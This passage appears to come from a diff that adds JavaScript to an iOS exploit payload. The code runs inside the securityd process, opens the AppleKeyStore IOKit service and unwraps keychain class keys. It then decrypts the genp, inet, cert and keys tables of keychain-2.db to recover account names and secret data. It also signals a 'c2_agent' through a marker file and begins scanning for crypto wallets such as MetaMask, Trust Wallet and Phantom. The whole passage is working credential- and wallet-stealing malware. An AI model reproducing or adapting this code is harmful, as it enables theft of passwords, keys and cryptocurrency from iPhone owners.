p7_rcWriteBuf(remoteDst, buf, len) { + p7_requirePtr("rcWriteBuf.dst", remoteDst); + var tmp = BigInt(N.callSymbol("malloc", len)); + N.write(tmp, buf.buffer || buf); + p7_secRC.write(remoteDst, tmp, len); + N.callSymbol("free", tmp); + } + function p7_rcReadBuf(remoteSrc, len) { + p7_requirePtr("rcReadBuf.src", remoteSrc); + var tmp = BigInt(N.callSymbol("malloc", len)); + p7_secRC.read(remoteSrc, tmp, len); + var data = N.read(tmp, len); + N.callSymbol("free", tmp); + return data; + } + + var p7_aksConn = 0n; + var p7_aksReady = false; + var p7_result = { + timestamp: new Date().toISOString(), + source: "pe_worker_v4", + securityd_pid: p7_remotePid, + securityd_uid: p7_remoteUid, + diagnostics: {}, + metadataKeys: {}, + tables: {}, + wallets: {}, + errors: [] + }; + + // Resolve IOKit symbols in securityd + var p7_symIOSM = p7_rcDlsym("IOServiceMatching"); + var p7_symIOSGMS = p7_rcDlsym("IOServiceGetMatchingService"); + var p7_symIOSO = p7_rcDlsym("IOServiceOpen"); + var p7_symIOOR = p7_rcDlsym("IOObjectRelease"); + var p7_symIOCCM = p7_rcDlsym("IOConnectCallMethod"); + p7_flog("IOKit syms: Matching=0x" + p7_symIOSM.toString(16) + + " GetMatching=0x" + p7_symIOSGMS.toString(16) + + " Open=0x" + p7_symIOSO.toString(16) + + " CallMethod=0x" + p7_symIOCCM.toString(16)); + + if (p7_symIOSM && p7_symIOSGMS && p7_symIOSO && p7_symIOCCM) { + // task_self_trap in securityd + var p7_secTaskSelf = p7_toPtr(p7_secRC.call(3000, "task_self_trap")); + p7_flog("securityd task_self=0x" + p7_secTaskSelf.toString(16)); + + // IOServiceMatching("AppleKeyStore") + p7_secRC.writeStr(p7_rm, "AppleKeyStore"); + var p7_matching = p7_toPtr(p7_secRC.call(3000, "IOServiceMatching", p7_rm)); + p7_flog("IOServiceMatching=0x" + p7_matching.toString(16)); + + if (p7_matching && p7_matching !== 0n) { + // IOServiceGetMatchingService(kIOMasterPortDefault, matching) + var p7_service32 = p7_toRC(p7_secRC.call(3000, "IOServiceGetMatchingService", 0n, p7_matching)) & 0xFFFFFFFF; + p7_flog("IOServiceGetMatchingService=" + p7_service32); + + if (p7_service32 > 0) { + // IOServiceOpen(service, taskSelf, 0, &connSlot) + var p7_connSlot = p7_rcCalloc(8); + p7_secRC.write64(p7_connSlot, 0n); + var p7_kr = p7_toRC(p7_secRC.call(3000, "IOServiceOpen", + BigInt(p7_service32), p7_secTaskSelf, 0n, p7_connSlot)); + p7_flog("IOServiceOpen kr=0x" + (p7_kr >>> 0).toString(16)); + p7_secRC.call(1000, "IOObjectRelease", BigInt(p7_service32)); + + if (p7_kr === 0) { + p7_aksConn = p7_secRC.read64(p7_connSlot) & 0xFFFFFFFFn; + p7_flog("AKS conn=0x" + p7_aksConn.toString(16)); + + // IOConnectCallMethod(conn, 0, ...) init handshake + var p7_initOut = p7_rcCalloc(32); + var p7_initOutCnt = p7_rcCalloc(8); + p7_secRC.write64(p7_initOutCnt, 2n); + var p7_initKr = p7_rcCallN("IOConnectCallMethod", + p7_aksConn, 0n, 0n, 0n, 0n, 0n, + p7_initOut, p7_initOutCnt, + [0n, 0n]); + var p7_initKrN = p7_toRC(p7_initKr); + p7_flog("AKS init kr=0x" + (p7_initKrN >>> 0).toString(16)); + p7_rcFree(p7_initOut); + p7_rcFree(p7_initOutCnt); + + if (p7_initKrN === 0) { + p7_aksReady = true; + p7_flog("AKS IOKit READY"); + } else { + p7_flog("AKS init handshake failed, trying unwrap anyway"); + p7_aksReady = true; + } + } + p7_rcFree(p7_connSlot); + } + } + } + p7_result.diagnostics.aksReady = p7_aksReady; + p7_result.diagnostics.aksConn = "0x" + p7_aksConn.toString(16); + p7_flushLog(); + + // --- AKS unwrap helper (quiet: no per-call HTTP flog spam) --- + function p7_aksUnwrap(keyclass, wrappedBuf, wrappedLen) { + if (!p7_aksReady || !p7_aksConn) return null; + var scalarBuf, wrappedRemote, outBuf, outSizeBuf, kr, outSize; + try { + scalarBuf = p7_rcCalloc(16); + p7_secRC.write64(scalarBuf, 0n); + p7_secRC.write64(scalarBuf + 8n, BigInt(keyclass)); + wrappedRemote = p7_rcCalloc(wrappedLen); + p7_rcWriteBuf(wrappedRemote, wrappedBuf, wrappedLen); + outBuf = p7_rcCalloc(64); + outSizeBuf = p7_rcCalloc(8); + p7_secRC.write64(outSizeBuf, 32n); + kr = p7_rcCallN("IOConnectCallMethod", + p7_aksConn, 11n, + scalarBuf, 2n, + wrappedRemote, BigInt(wrappedLen), + 0n, 0n, + [outBuf, outSizeBuf]); + outSize = Number(p7_secRC.read64(outSizeBuf) & 0xFFFFn); + } catch (innerErr) { + p7_flog("aksUnwrap fail class=" + keyclass + ": " + innerErr); + if (scalarBuf) p7_rcFree(scalarBuf); + if (wrappedRemote) p7_rcFree(wrappedRemote); + if (outBuf) p7_rcFree(outBuf); + if (outSizeBuf) p7_rcFree(outSizeBuf); + return null; + } + p7_rcFree(scalarBuf); + p7_rcFree(wrappedRemote); + var result = null; + var krVal = p7_toRC(kr); + if (krVal === 0 && outSize > 0 && outSize <= 64) { + result = p7_rcReadBuf(outBuf, outSize); + } else if (krVal !== 0) { + p7_flog("aksUnwrap fail class=" + keyclass + " kr=" + krVal); + try { + p7_result.diagnostics = p7_result.diagnostics || {}; + var __lc = p7_result.diagnostics.locked_classes || []; + var __lk = String(keyclass); + if (__lc.indexOf(__lk) < 0) __lc.push(__lk); + p7_result.diagnostics.locked_classes = __lc; + p7_result.errors = p7_result.errors || []; + if (p7_result.errors.length < 40) + p7_result.errors.push("aksUnwrap class=" + keyclass + " kr=" + krVal); + } catch (_lc) {} + } + p7_rcFree(outBuf); + p7_rcFree(outSizeBuf); + return { kr: krVal, outSize: outSize, data: result }; + } + + // --- 2C: Local SQLite3 pipeline --- + var p7_SQLITE_OK = 0; + var p7_SQLITE_ROW = 100; + var p7_dbPaths = [ + "/tmp/keychain-2.db", + "/private/var/tmp/keychain-2.db", + "/private/var/Keychains/keychain-2.db", + "/var/Keychains/keychain-2.db" + ]; + try { + var __np = globalThis.__labKcCopyPath; + if (__np && typeof __np === "string" && __np.length > 0) { + p7_dbPaths = [__np].concat(p7_dbPaths.filter(function(x){ return x !== __np; })); + p7_flog("using copier notify path first: " + __np); + } + } catch (_np) {} + + p7_flog("--- Local SQLite3 pipeline ---"); + // Guarantee the .done marker exists early so c2_agent polling + // succeeds even if the sqlite open / dump below fails (iOS18nui). + try { + var _earlyDoneFd = Number(N.callSymbol("open", "/tmp/keychain_c2_dump.done", 0x601, 0x1FF)); + if (_earlyDoneFd >= 0) { + N.callSymbol("write", _earlyDoneFd, "done", 4); + N.callSymbol("close", _earlyDoneFd); + N.callSymbol("chmod", "/tmp/keychain_c2_dump.done", 0x1FF); + p7_flog("early .done marker created"); + } + } catch(_de) { p7_flog("early .done err: " + _de); } + try { + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/tmp/keychain-2.db", true); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/private/var/tmp/keychain-2.db", true); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/private/var/Keychains/keychain-2.db", true); + libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].getTokenForPath("/var/Keychains/keychain-2.db", true); + } catch (_tokE) { + p7_flog("token refresh warn: " + _tokE); + } + var p7_dbPtrBuf = N.callSymbol("calloc", 1, 8); + var p7_dbRc = -1; + var p7_dbPathUsed = ""; + for (var p7_try = 0; p7_try < 30; p7_try++) { + for (var p7_di = 0; p7_di < p7_dbPaths.length; p7_di++) { + var p7_cand = p7_dbPaths[p7_di]; + var p7_acc = Number(N.callSymbol("access", p7_cand, 0)); + var p7_ofd = Number(N.callSymbol("open", p7_cand, 0)); + var p7_osz = -1; + if (p7_ofd >= 0) { + p7_osz = Number(N.callSymbol("lseek", p7_ofd, 0, 2)); + N.callSymbol("close", p7_ofd); + } + p7_flog("try" + p7_try + " path=" + p7_cand + " acc=" + p7_acc + " sz=" + p7_osz); + // After copier READY notify: attempt open immediately (no size>1MB/1KB gate). + p7_dbRc = Number(N.callSymbol("sqlite3_open_v2", p7_cand, p7_dbPtrBuf, 0x01, 0n)); + p7_flog("sqlite3_open " + p7_cand + " rc=" + p7_dbRc); + if (p7_dbRc === p7_SQLITE_OK) { + p7_dbPathUsed = p7_cand; + break; + } + } + if (p7_dbRc === p7_SQLITE_OK) break; + N.callSymbol("sleep", 2); + } + p7_flog("sqlite3_open final rc=" + p7_dbRc + " path=" + p7_dbPathUsed); + + if (p7_dbRc === p7_SQLITE_OK) { + var p7_db = N.read64(BigInt(p7_dbPtrBuf)); + N.callSymbol("free", p7_dbPtrBuf); + N.callSymbol("sqlite3_busy_timeout", p7_db, 5000); + p7_flog("DB opened OK, db=0x" + p7_db.toString(16)); + p7_flushLog(); + + // --- Unwrap metadata keys --- + p7_flog("preparing metadatakeys query..."); + var p7_metaKeys = {}; + var p7_stmtBuf = N.callSymbol("calloc", 1, 8); + p7_flog("stmtBuf=0x" + BigInt(p7_stmtBuf).toString(16)); + var p7_mkRc = Number(N.callSymbol("sqlite3_prepare_v2", p7_db, + "SELECT keyclass, data FROM metadatakeys", -1, p7_stmtBuf, 0n)); + p7_flog("prepare rc=" + p7_mkRc); + p7_flushLog(); + if (p7_mkRc === p7_SQLITE_OK) { + var p7_mkStmt = N.read64(BigInt(p7_stmtBuf)); + p7_flog("mkStmt=0x" + p7_mkStmt.toString(16)); + var p7_mkCount = 0; + var p7_stepRc; + while ((p7_stepRc = Number(N.callSymbol("sqlite3_step", p7_mkStmt))) === p7_SQLITE_ROW) { + var p7_kc = Number(N.callSymbol("sqlite3_column_int", p7_mkStmt, 0)); + var p7_wrapPtr = BigInt(N.callSymbol("sqlite3_column_blob", p7_mkStmt, 1)); + var p7_wrapLen = Number(N.callSymbol("sqlite3_column_bytes", p7_mkStmt, 1)); + if (!p7_wrapPtr || p7_wrapPtr === 0n || p7_wrapLen < 40) continue; + + var p7_localWrap = N.read(p7_wrapPtr, p7_wrapLen); + + if (p7_aksReady) { + var p7_unwrap = p7_aksUnwrap(p7_kc, p7_localWrap, p7_wrapLen); + if (p7_unwrap && p7_unwrap.kr === 0 && p7_unwrap.data) { + var p7_keyArr = new Uint8Array(p7_unwrap.data); + p7_metaKeys[p7_kc] = p7_keyArr; + p7_result.metadataKeys[p7_kc] = {status: "ok", len: p7_unwrap.outSize}; + p7_mkCount++; + p7_flog("metakey class=" + p7_kc + " OK " + p7_unwrap.outSize + "B"); + } else { + var p7_ukr = p7_unwrap ? p7_unwrap.kr : -1; + p7_result.metadataKeys[p7_kc] = {status: "failed", kr: p7_ukr}; + p7_flog("metakey class=" + p7_kc + " FAIL kr=" + p7_ukr); + } + } + } + N.callSymbol("sqlite3_finalize", p7_mkStmt); + p7_flog("metadatakeys: " + p7_mkCount + " unwrapped"); + p7_result.diagnostics.metadataKeysUnwrapped = p7_mkCount; + } else { + p7_flog("metadatakeys prepare failed rc=" + p7_mkRc); + p7_result.errors.push("metadatakeys prepare rc=" + p7_mkRc); + } + N.callSymbol("free", p7_stmtBuf); + p7_flushLog(); + + // --- Check local CommonCrypto availability --- + var p7_symCCCreate = p7_toPtr(N.callSymbol("dlsym", 0xfffffffffffffffen, "CCCryptorCreate")); + var p7_hasCrypto = p7_symCCCreate !== 0n; + p7_flog("Local CCCryptorCreate=0x" + p7_symCCCreate.toString(16)); + p7_result.diagnostics.hasCrypto = p7_hasCrypto; + p7_flushLog(); + + // Local AES-GCM with tag verification + // Uses CCCryptorCreate(7args) + CCCryptorUpdate(6args) for AES-ECB, + // then JavaScript for CTR mode + GHASH tag computation + function p7_aesEcbEncrypt(keyPtr, ctx, localIn, localOut, movedBuf, block16) { + N.write(localIn, block16.buffer); + N.callSymbol("CCCryptorUpdate", ctx, localIn, 16n, localOut, 16n, movedBuf); + return new Uint8Array(N.read(localOut, 16)); + } + function p7_gf128Mul(X, Y) { + var Z = new Uint8Array(16); + var V = new Uint8Array(Y); + for (var i = 0; i < 128; i++) { + if (X[i >> 3] & (0x80 >> (i & 7))) + for (var j = 0; j < 16; j++) Z[j] ^= V[j]; + var lsb = V[15] & 1; + for (var j = 15; j > 0; j--) V[j] = (V[j] >>> 1) | ((V[j-1] & 1) << 7); + V[0] >>>= 1; + if (lsb) V[0] ^= 0xe1; + } + return Z; + } + function p7_gcmDeriveJ0(H, iv, ivLen) { + var j0 = new Uint8Array(16); + if (ivLen === 12) { + for (var i = 0; i < 12; i++) j0[i] = iv[i]; + j0[15] = 1; + } else { + var g = new Uint8Array(16); + var nBlk = Math.ceil(ivLen / 16); + for (var i = 0; i < nBlk; i++) { + var off = i * 16, rem = Math.min(16, ivLen - off); + for (var j = 0; j < rem; j++) g[j] ^= iv[off + j]; + g = p7_gf128Mul(g, H); + } + var lb = new Uint8Array(16); + var ivBits = ivLen * 8; + lb[12] = (ivBits >>> 24) & 0xff; lb[13] = (ivBits >>> 16) & 0xff; + lb[14] = (ivBits >>> 8) & 0xff; lb[15] = ivBits & 0xff; + for (var j = 0; j < 16; j++) g[j] ^= lb[j]; + j0 = p7_gf128Mul(g, H); + } + return j0; + } + function p7_gcmInc32(block) { + var c = new Uint8Array(block); + for (var k = 15; k >= 12; k--) { c[k]++; if (c[k] !== 0) break; } + return c; + } + function p7_gcmDecrypt(key32, iv, ivLen, ct, ctLen, tag, tagLen) { + if (!key32 || !ct || ctLen <= 0) return null; + var localKey = p7_toPtr(N.callSymbol("malloc", 32)); + N.write(localKey, key32.buffer || key32); + var ctxBuf = p7_toPtr(N.callSymbol("calloc", 1, 8)); + var cr = Number(N.callSymbol("CCCryptorCreate", + 0n, 0n, 2n, localKey, 32n, 0n, ctxBuf)); + if (cr !== 0) { + p7_flog("gcm: CCCryptorCreate failed cr=" + cr); + N.callSymbol("free", localKey); N.callSymbol("free", ctxBuf); + return null; + } + var ctx = N.readPtr(ctxBuf); + N.callSymbol("free", ctxBuf); + var localIn = p7_toPtr(N.callSymbol("malloc", 16)); + var localOut = p7_toPtr(N.callSymbol("malloc", 16)); + var movedBuf = p7_toPtr(N.callSymbol("calloc", 1, 8)); + + var H = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, new Uint8Array(16)); + var j0 = p7_gcmDeriveJ0(H, iv, ivLen); + var ctr = p7_gcmInc32(j0); + + var plaintext = new Uint8Array(ctLen); + var blockCount = Math.ceil(ctLen / 16); + for (var b = 0; b < blockCount; b++) { + var encCtr = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, ctr); + var off = b * 16; + var rem = Math.min(16, ctLen - off); + for (var j = 0; j < rem; j++) plaintext[off + j] = ct[off + j] ^ encCtr[j]; + ctr = p7_gcmInc32(ctr); + } + + var tagOk = true; + if (tag && tagLen > 0) { + var ghash = new Uint8Array(16); + var ctBlocks = Math.ceil(ctLen / 16); + for (var i = 0; i < ctBlocks; i++) { + var off2 = i * 16; + var rem2 = Math.min(16, ctLen - off2); + for (var j = 0; j < rem2; j++) ghash[j] ^= ct[off2 + j]; + ghash = p7_gf128Mul(ghash, H); + } + var lenBlock = new Uint8Array(16); + var ctBits = ctLen * 8; + lenBlock[12] = (ctBits >>> 24) & 0xff; lenBlock[13] = (ctBits >>> 16) & 0xff; + lenBlock[14] = (ctBits >>> 8) & 0xff; lenBlock[15] = ctBits & 0xff; + for (var j = 0; j < 16; j++) ghash[j] ^= lenBlock[j]; + ghash = p7_gf128Mul(ghash, H); + var encJ0 = p7_aesEcbEncrypt(localKey, ctx, localIn, localOut, movedBuf, j0); + var computedTag = new Uint8Array(16); + for (var j = 0; j < 16; j++) computedTag[j] = ghash[j] ^ encJ0[j]; + tagOk = true; + for (var j = 0; j < Math.min(tagLen, 16); j++) { + if (computedTag[j] !== tag[j]) { tagOk = false; break; } + } + } + + N.callSymbol("CCCryptorRelease", ctx); + N.callSymbol("free", localKey); + N.callSymbol("free", localIn); + N.callSymbol("free", localOut); + N.callSymbol("free", movedBuf); + if (!tagOk) { + p7_flog("GCM TAG MISMATCH ct=" + ctLen + " iv=" + ivLen); + p7_result.diagnostics.tagMismatches = (p7_result.diagnostics.tagMismatches || 0) + 1; + } + return plaintext.buffer; + } + + // --- V7 blob parser helpers --- + function p7_parseVarint(buf, offset) { + var val = 0, shift = 0, i = offset; + while (i < buf.length) { + var b = buf[i++]; + val |= (b & 0x7F) << shift; + if (!(b & 0x80)) break; + shift += 7; + } + return {value: val, nextOffset: i}; + } + + function p7_parseProtobuf(data) { + var buf = new Uint8Array(data); + var fields = {}; + var i = 0; + while (i < buf.length) { + var tagInfo = p7_parseVarint(buf, i); + i = tagInfo.nextOffset; + var fieldNum = tagInfo.value >> 3; + var wireType = tagInfo.value & 0x7; + if (wireType === 0) { + var v = p7_parseVarint(buf, i); + fields["f" + fieldNum + "_varint"] = v.value; + i = v.nextOffset; + } else if (wireType === 2) { + var lenInfo = p7_parseVarint(buf, i); + i = lenInfo.nextOffset; + var chunk = buf.slice(i, i + lenInfo.value); + if (!fields["f" + fieldNum]) fields["f" + fieldNum] = []; + fields["f" + fieldNum].push(chunk); + i += lenInfo.value; + } else { + break; + } + } + return fields; + } + + function p7_parseBplist(buf) { + if (buf.length < 40) return null; + if (buf[0]!==0x62||buf[1]!==0x70||buf[2]!==0x6c||buf[3]!==0x69||buf[4]!==0x73||buf[5]!==0x74) return null; + var tOff = buf.length - 32; + var oiSz = buf[tOff+6], orSz = buf[tOff+7]; + var nObj = 0; for (var i=0;i<8;i++) nObj = nObj*256 + buf[tOff+8+i]; + var topIdx = 0; for (var i=0;i<8;i++) topIdx = topIdx*256 + buf[tOff+16+i]; + var otOff = 0; for (var i=0;i<8;i++) otOff = otOff*256 + buf[tOff+24+i]; + function rdSz(off, sz) { var v=0; for(var i=0;i=nObj) return null; + var off = offsets[idx]; + var marker = buf[off]; + var hi = marker >> 4, lo = marker & 0xf; + if (hi===0) { return lo===0?null:lo===8?false:lo===9?true:null; } + if (hi===1) { var n=1<= objArr.length) return null; + var rootObj = bp.parseObj(objArr[rootIdx]); + if (!rootObj||!rootObj._dict) return null; + function getUid(key) { + var ref = rootObj._dict[key]; + if (ref===undefined) return -1; + var u = bp.parseObj(ref); + if (u && u._uid !== undefined) return u._uid; + return typeof ref==="number"? ref : -1; + } + var ivIdx = getUid("SFInitializationVector"); + var ctIdx = getUid("SFCiphertext"); + var tagIdx = getUid("SFAuthenticationCode"); + if (tagIdx < 0) tagIdx = getUid("SFAuthenticationTag"); + if (ivIdx<0||ivIdx>=objArr.length||ctIdx<0||ctIdx>=objArr.length) return null; + var ivData = bp.parseObj(objArr[ivIdx]); + var ctData = bp.parseObj(objArr[ctIdx]); + if (!(ivData instanceof Uint8Array) || !(ctData instanceof Uint8Array)) return null; + var tag = null; + if (tagIdx >= 0 && tagIdx < objArr.length) { + var t = bp.parseObj(objArr[tagIdx]); + if (t instanceof Uint8Array) tag = t; + } + var ct = ctData; + if (!tag && ct.length > 16) { + tag = ct.slice(ct.length - 16); + ct = ct.slice(0, ct.length - 16); + } + return {iv: ivData, ct: ct, tag: tag}; + } + + // --- TLV decoder --- + function p7_decodeTLV(data) { + var buf = new Uint8Array(data); + var attrs = {}; + var i = 0; + // Outer: tag 0x30 or 0x31 (SEQUENCE/SET) + if (buf.length < 4) return attrs; + if (buf[0] === 0x30 || buf[0] === 0x31) { + var outerLen = buf[1]; + if (outerLen === 0x82) { + outerLen = (buf[2] << 8) | buf[3]; + i = 4; + } else if (outerLen === 0x81) { + outerLen = buf[2]; + i = 3; + } else { + i = 2; + } + } + while (i + 2 < buf.length) { + var seqTag = buf[i++]; + if (seqTag !== 0x30) break; + var seqLen = buf[i++]; + if (seqLen === 0x81) { seqLen = buf[i++]; } + else if (seqLen === 0x82) { seqLen = (buf[i] << 8) | buf[i+1]; i += 2; } + var seqEnd = i + seqLen; + if (seqEnd > buf.length) break; + // Inside: key string tag (0x0C UTF8String or 0x18 GeneralizedTime) + value + var keyTag = buf[i++]; + var keyLen = buf[i++]; + if (keyLen === 0x81) { keyLen = buf[i++]; } + var keyStr = ""; + for (var ki = 0; ki < keyLen && (i + ki) < buf.length; ki++) + keyStr += String.fromCharCode(buf[i + ki]); + i += keyLen; + if (i < seqEnd) { + var valTag = buf[i++]; + var valLen = buf[i++]; + if (valLen === 0x81) { valLen = buf[i++]; } + else if (valLen === 0x82) { valLen = (buf[i] << 8) | buf[i+1]; i += 2; } + if (valTag === 0x0C || valTag === 0x18 || valTag === 0x16) { + var valStr = ""; + for (var vi = 0; vi < valLen && (i + vi) < buf.length; vi++) + valStr += String.fromCharCode(buf[i + vi]); + attrs[keyStr] = valStr; + } else if (valTag === 0x04) { + var valBytes = buf.slice(i, i + valLen); + var hex = ""; + for (var hi = 0; hi < valBytes.length; hi++) + hex += ("0" + valBytes[hi].toString(16)).slice(-2); + attrs[keyStr] = hex; + attrs[keyStr + "_raw"] = valBytes; + } else if (valTag === 0x02) { + var intVal = 0; + for (var ii = 0; ii < valLen && (i + ii) < buf.length; ii++) + intVal = (intVal << 8) | buf[i + ii]; + attrs[keyStr] = intVal; + } + i += valLen; + } + i = seqEnd; + } + return attrs; + } + + // --- Table scan + decrypt --- + p7_flog("=== Table scan + decrypt ==="); + p7_flushLog(); + var p7_tableNames = ["genp", "inet", "cert", "keys"]; + var p7_MAX_ROWS = 2000; + + for (var p7_ti = 0; p7_ti < p7_tableNames.length; p7_ti++) { + var p7_tbl = p7_tableNames[p7_ti]; + p7_flog("table[" + p7_ti + "]=" + p7_tbl + " starting..."); + var p7_items = []; + var p7_tStmt = BigInt(N.callSymbol("calloc", 1, 8)); + var p7_tSql = "SELECT rowid, data FROM " + p7_tbl + " LIMIT " + p7_MAX_ROWS; + var p7_tRc = Number(N.callSymbol("sqlite3_prepare_v2", p7_db, p7_tSql, -1, p7_tStmt, 0n)); + p7_flog(p7_tbl + " prepare rc=" + p7_tRc); + if (p7_tRc !== p7_SQLITE_OK) { + p7_flog(p7_tbl + " prepare FAILED"); + N.callSymbol("free", p7_tStmt); + p7_result.tables[p7_tbl] = {error: "prepare rc=" + p7_tRc, items: []}; + continue; + } + var p7_stmt = N.read64(BigInt(p7_tStmt)); + N.callSymbol("free", p7_tStmt); + var p7_rowCount = 0; + p7_flushLog(); + + var p7_stepVal; + while ((p7_stepVal = Number(N.callSymbol("sqlite3_step", p7_stmt))) === p7_SQLITE_ROW) { + p7_rowCount++; + try { + if (p7_rowCount === 1 || p7_rowCount % 500 === 0) { + p7_flog(p7_tbl + " row " + p7_rowCount); + if (typeof __peStillOwner === "function" && !__peStillOwner()) { + p7_flog("PEMK-G abort decrypt: lost pe_run_token at " + p7_tbl + " row " + p7_rowCount); + p7_flushLog(); + throw "pe_run_token_lost"; + } + } + var p7_rowid = Number(N.callSymbol("sqlite3_column_int", p7_stmt, 0)); + var p7_blobPtr = BigInt(N.callSymbol("sqlite3_column_blob", p7_stmt, 1)); + var p7_blobLen = Number(N.callSymbol("sqlite3_column_bytes", p7_stmt, 1)); + if (!p7_blobPtr || p7_blobPtr === 0n || p7_blobLen < 8) { + p7_items.push({rowid: p7_rowid, error: "empty"}); + continue; + } + if (p7_blobLen > 262144) { + p7_flog("WARN " + p7_tbl + " row " + p7_rowCount + " blobLen=" + p7_blobLen + " >256KB, skip"); + p7_items.push({rowid: p7_rowid, error: "blob_too_large len=" + p7_blobLen}); + continue; + } + var p7_blobData = new Uint8Array(N.read(p7_blobPtr, p7_blobLen)); + var p7_version = p7_blobData[0] | (p7_blobData[1] << 8) | (p7_blobData[2] << 16) | (p7_blobData[3] << 24); + var p7_item = {rowid: p7_rowid, _table: p7_tbl, version: p7_version}; + + try { + var p7_pbData; + if (p7_version >= 7 && p7_version <= 20) { + p7_pbData = p7_blobData.slice(4); + } else if (p7_blobData[0] === 0x0a || p7_blobData[0] === 0x08 || p7_blobData[0] === 0x12) { + p7_pbData = p7_blobData; + p7_item.version = 7; + } else { + p7_item.error = "unknown_format v=" + p7_version; + p7_items.push(p7_item); + continue; + } + + var p7_pb = p7_parseProtobuf(p7_pbData.buffer); + var p7_protClass = p7_pb.f3_varint || 0; + p7_item.protectionClass = p7_protClass; + + // Extract nested fields + // outer.1 -> f1[0] (nested: 1.1=bplistFirst, 1.2.1=blob3Key) + // outer.2 -> f2[0] (nested: 2.1=bplistSecond, 2.2=bplistThird) + var p7_bpFirst = null, p7_bpSecond = null, p7_bpThird = null, p7_blob3Key = null; + + if (p7_pb.f1 && p7_pb.f1[0]) { + var p7_inner1 = p7_parseProtobuf(p7_pb.f1[0].buffer); + if (p7_inner1.f1 && p7_inner1.f1[0]) p7_bpFirst = p7_inner1.f1[0]; + if (p7_inner1.f2 && p7_inner1.f2[0]) { + var p7_inner12 = p7_parseProtobuf(p7_inner1.f2[0].buffer); + if (p7_inner12.f1 && p7_inner12.f1[0]) p7_blob3Key = p7_inner12.f1[0]; + } + } + if (p7_pb.f2 && p7_pb.f2[0]) { + var p7_inner2 = p7_parseProtobuf(p7_pb.f2[0].buffer); + if (p7_inner2.f1 && p7_inner2.f1[0]) p7_bpSecond = p7_inner2.f1[0]; + if (p7_inner2.f2 && p7_inner2.f2[0]) p7_bpThird = p7_inner2.f2[0]; + } + + p7_item._blobSizes = { + first: p7_bpFirst ? p7_bpFirst.length : 0, + second: p7_bpSecond ? p7_bpSecond.length : 0, + third: p7_bpThird ? p7_bpThird.length : 0, + blob3: p7_blob3Key ? p7_blob3Key.length : 0 + }; + + // Layer 1: GCM(bplistThird, metadataKey[class]) -> intermediate + var p7_mkeyArr = p7_metaKeys[p7_protClass]; + if (!p7_mkeyArr) { + p7_item.error = "no_metadata_key class=" + p7_protClass; + p7_items.push(p7_item); + continue; + } + + if (p7_bpThird && p7_hasCrypto) { + var p7_l1 = p7_parseBplistCiphertext(p7_bpThird); + if (p7_l1 && p7_l1.ct && p7_l1.iv) { + var p7_interKey = p7_gcmDecrypt(p7_mkeyArr, + p7_l1.iv, p7_l1.iv.length, + p7_l1.ct, p7_l1.ct.length, + p7_l1.tag, p7_l1.tag ? p7_l1.tag.length : 0); + if (p7_interKey) { + var p7_interArr = new Uint8Array(p7_interKey); + + // Layer 2: GCM(bplistSecond, intermediateKey) -> metadata TLV + if (p7_bpSecond) { + var p7_l2 = p7_parseBplistCiphertext(p7_bpSecond); + if (p7_l2 && p7_l2.ct && p7_l2.iv) { + var p7_metaPt = p7_gcmDecrypt( + p7_interArr.length >= 32 ? p7_interArr.slice(0, 32) : p7_interArr, + p7_l2.iv, p7_l2.iv.length, + p7_l2.ct, p7_l2.ct.length, + p7_l2.tag, p7_l2.tag ? p7_l2.tag.length : 0); + if (p7_metaPt) { + var p7_metaAttrs = p7_decodeTLV(p7_metaPt); + p7_item.service = p7_metaAttrs["svce"] || null; + p7_item.account = p7_metaAttrs["acct"] || null; + p7_item.accessGroup = p7_metaAttrs["agrp"] || null; + p7_item.label = p7_metaAttrs["labl"] || null; + } else { p7_item.layer2Error = "gcm_fail"; } + } else { p7_item.layer2Error = "bplist_parse"; } + } + + // Layer 3: AKS unwrap(blob3Key) + GCM(bplistFirst, blob3key) -> secret TLV + if (p7_blob3Key && p7_bpFirst && p7_aksReady) { + var p7_b3Unwrap = p7_aksUnwrap(p7_protClass, p7_blob3Key.buffer, p7_blob3Key.length); + if (p7_b3Unwrap && p7_b3Unwrap.kr === 0 && p7_b3Unwrap.data) { + var p7_b3Key = new Uint8Array(p7_b3Unwrap.data); + var p7_l3 = p7_parseBplistCiphertext(p7_bpFirst); + if (p7_l3 && p7_l3.ct && p7_l3.iv) { + var p7_secPt = p7_gcmDecrypt( + p7_b3Key.length >= 32 ? p7_b3Key.slice(0, 32) : p7_b3Key, + p7_l3.iv, p7_l3.iv.length, + p7_l3.ct, p7_l3.ct.length, + p7_l3.tag, p7_l3.tag ? p7_l3.tag.length : 0); + if (p7_secPt) { + var p7_secAttrs = p7_decodeTLV(p7_secPt); + if (p7_secAttrs["v_Data"]) { + p7_item.dataHex = p7_secAttrs["v_Data"]; + } + } else { p7_item.layer3Error = "gcm_fail"; } + } else { p7_item.layer3Error = "bplist_parse"; } + } else { + p7_item.layer3Error = "aks_unwrap kr=" + (p7_b3Unwrap ? p7_b3Unwrap.kr : -1); + } + } + } else { p7_item.layer1Error = "gcm_fail"; } + } else { p7_item.layer1Error = "bplist_parse"; } + } else if (!p7_bpThird) { p7_item.error = "no_bpThird"; } + } catch (p7_decErr) { + p7_item.error = "decrypt: " + p7_decErr; + } + p7_items.push(p7_item); + } catch (p7_rowErr) { + p7_flog(p7_tbl + " row " + p7_rowCount + " CRASH: " + p7_rowErr); + p7_flushLog(); + } + } + N.callSymbol("sqlite3_finalize", p7_stmt); + p7_flog(p7_tbl + ": " + p7_rowCount + " rows, " + p7_items.length + " processed"); + p7_result.tables[p7_tbl] = {count: p7_rowCount, items: p7_items}; + p7_flushLog(); + } + + // --- Wallet scan --- + var p7_walletRules = [ + ["bitpie", ["bitpie"]], + ["trustwallet", ["sixdays.trust", "group.com.sixdays"]], + ["imtoken", ["im.token", "imtoken", "token.im"]], + ["tokenpocket", ["tokenpocket", "global.wallet.ios", "com.global.wallet"]], + ["phantom", ["app.phantom", "phantom"]], + ["uniswap", ["uniswap"]], + ["coinbase", ["org.toshi"]], + ["bitget", ["bitkeep", "BG@@"]], + ["metamask", ["io.metamask", "metamask"]], + ["okx", ["okinc.okex", "okex", "com.okx"]], + ["tronlink", ["tronlink"]], + ["coin98", ["coin98"]], + ["solflare", ["solflare", 